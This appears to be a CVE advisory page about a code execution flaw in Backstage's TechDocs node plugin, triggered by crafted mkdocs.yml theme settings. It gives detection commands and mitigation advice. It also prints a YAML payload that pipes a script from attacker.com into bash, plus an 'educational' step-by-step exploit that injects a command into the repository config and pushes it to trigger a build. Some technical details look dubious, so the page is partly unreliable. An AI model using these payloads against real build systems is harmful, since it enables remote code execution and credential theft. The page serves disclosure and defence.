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The @backstage/plugin-techdocs-node package in Backstage fails to properly validate MkDocs theme configuration parameters within user-supplied repository files. When TechDocs processes documentation generation, it parses the repository’s mkdocs.yml file to invoke required rendering dependencies. Authenticated users possessing write access to a registered software catalog repository can manipulate theme configuration directives to inject arbitrary commands. During automated execution of the TechDocs build lifecycle, these injected directives are evaluated directly by the underlying engine. This improper sanitization enables malicious configuration values to trigger arbitrary code execution within the build environment. The execution context inherits the privilege level of the host runner or container responsible for rendering the documentation. Both local execution setups and containerized build instances are vulnerable if unsafe configuration attributes are parsed without restrictive filtering.
DailyCVE Form:
Platform: Backstage TechDocs
Version: Prior to 1.15.4
Vulnerability: Code Execution
Severity: High
date: Aug 28, 2026
Prediction: Oct 07, 2026
What Undercode Say:
Analytics
Check installed @backstage/plugin-techdocs-node package version npm list @backstage/plugin-techdocs-node Scan repository configuration files for dangerous theme customisation keys grep -rn "theme:" ./ --include="mkdocs.yml"
Vulnerable mkdocs.yml payload exploiting theme validation logic site_name: Malicious Doc Build theme: name: material custom_dir: "!!python/object/apply:os.system ['curl http://attacker.com/shell.sh | bash']"
How Exploit: (Educational Purposes!)
Clone target repository registered in Backstage TechDocs git clone https://github.com/example-org/techdocs-repo.git cd techdocs-repo Inject malicious command execution inside mkdocs.yml configuration cat << 'EOF' >> mkdocs.yml theme: name: mkdocs custom_dir: "'; id > /tmp/pwned; '" EOF Commit and push changes to trigger automated build processing git add mkdocs.yml git commit -m "update documentation theme config" git push origin main
Protection: from this CVE
Upgrade the node plugin package to the patched release version yarn upgrade @backstage/[email protected]
Enforce containerized isolation workaround in app-config.yaml techdocs: builder: 'local' generator: runIn: 'docker'
Impact
Successful exploitation allows authenticated attackers with repository write privileges to execute arbitrary commands on the TechDocs build server or container. This enables compromise of build system credentials, source code access, local file system reads, and internal network pivot capabilities.
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Sources:
Reported By: github.com
Extra Source Hub:
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